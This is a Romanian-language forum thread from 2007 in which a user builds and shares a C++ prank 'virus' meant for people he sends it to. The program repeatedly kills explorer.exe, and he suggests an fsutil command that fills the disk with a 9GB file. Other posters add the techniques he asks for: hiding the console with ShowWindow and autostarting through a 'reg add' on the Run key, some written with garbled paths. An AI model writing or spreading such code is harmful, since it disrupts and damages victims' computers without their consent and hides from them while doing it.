rechim Posted December 11, 2007 Report Share Posted December 11, 2007 am o intrebare pt voi : care imi poate spune ce functii sunt in <string.h> si <windows.h>? . In sting ii functia system() cu care poti sa faci pe unii sa se enerveze foarte mult. ex: system("taskkill -f -im explorer.exe"); - inchide explorerulce altceva mai pot scrie in system(); ca sa fac chestii deastea? In cmd este scriptul "fsutil file createnew C:\\new.mpg 10000000000" care creeaza pe c:\\ un fisier video de 9GB si cva. As putea sa pun acest script in system(); in c++? ar iesi un programel frumos cu care poti umple hardurile celor carora le trimiti acest program. Si ce altceva mai pot scrie in system();? Quote Link to comment Share on other sites More sharing options...
rechim Posted December 11, 2007 Author Report Share Posted December 11, 2007 codul pt prog. ce inchide explorerul#include <iostream.h>#include <stdlib.h>#include <windows.h>#include <process.h>#include <conio.h>int main(){ cout << "I'm a Viruz!"; system("taskkill -f -im explorer.exe"); cout << "I was created by R3chIM."; getch(); return 0;}as fi pus linku pt download da nu am inca 3 postari Quote Link to comment Share on other sites More sharing options...
vladiii Posted December 12, 2007 Report Share Posted December 12, 2007 In string.h nu exista functia system(), ci in stdlib.h ! Practic, cu aceasta functie poti executa comenzi CMD (infinite posibilitati).Cat despre windows.h... Ai auzit de functiile api (care sunt "tinute" in DLLurile windows) ? Majoritatea le poti utiliza folosind windows.h ! In VB trebuie declarata fiecare functie in parte, in C++ nu.P.S. In codul tau ai folosit prea multe librarii, nu cred ca mai aveai nevoie de windows.h si process.h. Quote Link to comment Share on other sites More sharing options...
rechim Posted December 12, 2007 Author Report Share Posted December 12, 2007 mda stdlib.h . Scuze mam grabit. dar la BC++ la help scrie la system(); k necesita windows.h si process.h . Quote Link to comment Share on other sites More sharing options...
rechim Posted December 12, 2007 Author Report Share Posted December 12, 2007 am "imbunatatit" putin programalul #include <iostream.h>#include <stdlib.h>#include <conio.h>int main(){ cout << "I'm a Viruz!"; for(int i=1;i<=500;i++) { delay(1000); system("taskkill -f -im explorer.exe"); } cout << "I was created by R3chIM."; getch(); return 0;}si mai am o intrebare. ce comanda pot sa scriu la system() pt ca prog sa se bage automat la registrii la run on windows start? Si daca exista ceva cu ce sa pot ascunde casuta de cmd cand cineva ruleaza executabilul. Quote Link to comment Share on other sites More sharing options...
&#208;&#210;& Posted December 13, 2007 Report Share Posted December 13, 2007 nu cred ca e posibil sa scrii valori in registrii folosind doar CMD-ul.restu iti trebe APIShowWindow(hwnd, SW_HIDE); //parametru Quote Link to comment Share on other sites More sharing options...
moubik Posted December 13, 2007 Report Share Posted December 13, 2007 ba poti Quote Link to comment Share on other sites More sharing options...
rechim Posted December 14, 2007 Author Report Share Posted December 14, 2007 ok si dak pot... care e comanda? ms anticipat Quote Link to comment Share on other sites More sharing options...
rechim Posted December 14, 2007 Author Report Share Posted December 14, 2007 pt ShowWindow ce header imi trebuie? Quote Link to comment Share on other sites More sharing options...
vladiii Posted December 14, 2007 Report Share Posted December 14, 2007 pt ShowWindow ce header imi trebuie?windows.h ! Ti-am explicat faza cateva posturi mai sus. Quote Link to comment Share on other sites More sharing options...
Guest BanKai Posted December 14, 2007 Report Share Posted December 14, 2007 pt ShowWindow ce header imi trebuie?NU MAI FA DOUBLE DOUBLE POST nici macar DOUBLE POST. FOLOSESTE FUNCTIA EDIT CA NU DE PROST A PUS KW3RLN BUTONUL ACOLO ! Quote Link to comment Share on other sites More sharing options...
&#208;&#210;& Posted December 14, 2007 Report Share Posted December 14, 2007 pai probabil este vreun bat pt scris in registrii nu sunt asa de siguroricum cheia se afla in MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunin hkey_local_machine,nu stiu daca in windows.h e declarata Regwrite foloseste mai bine Visual studio ca are auto-sense si iti arata parametriiEDit:Foloseswte reg add din batceva in genulreg add "MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun" \v "ceva" \d "C:\lol.exe" Quote Link to comment Share on other sites More sharing options...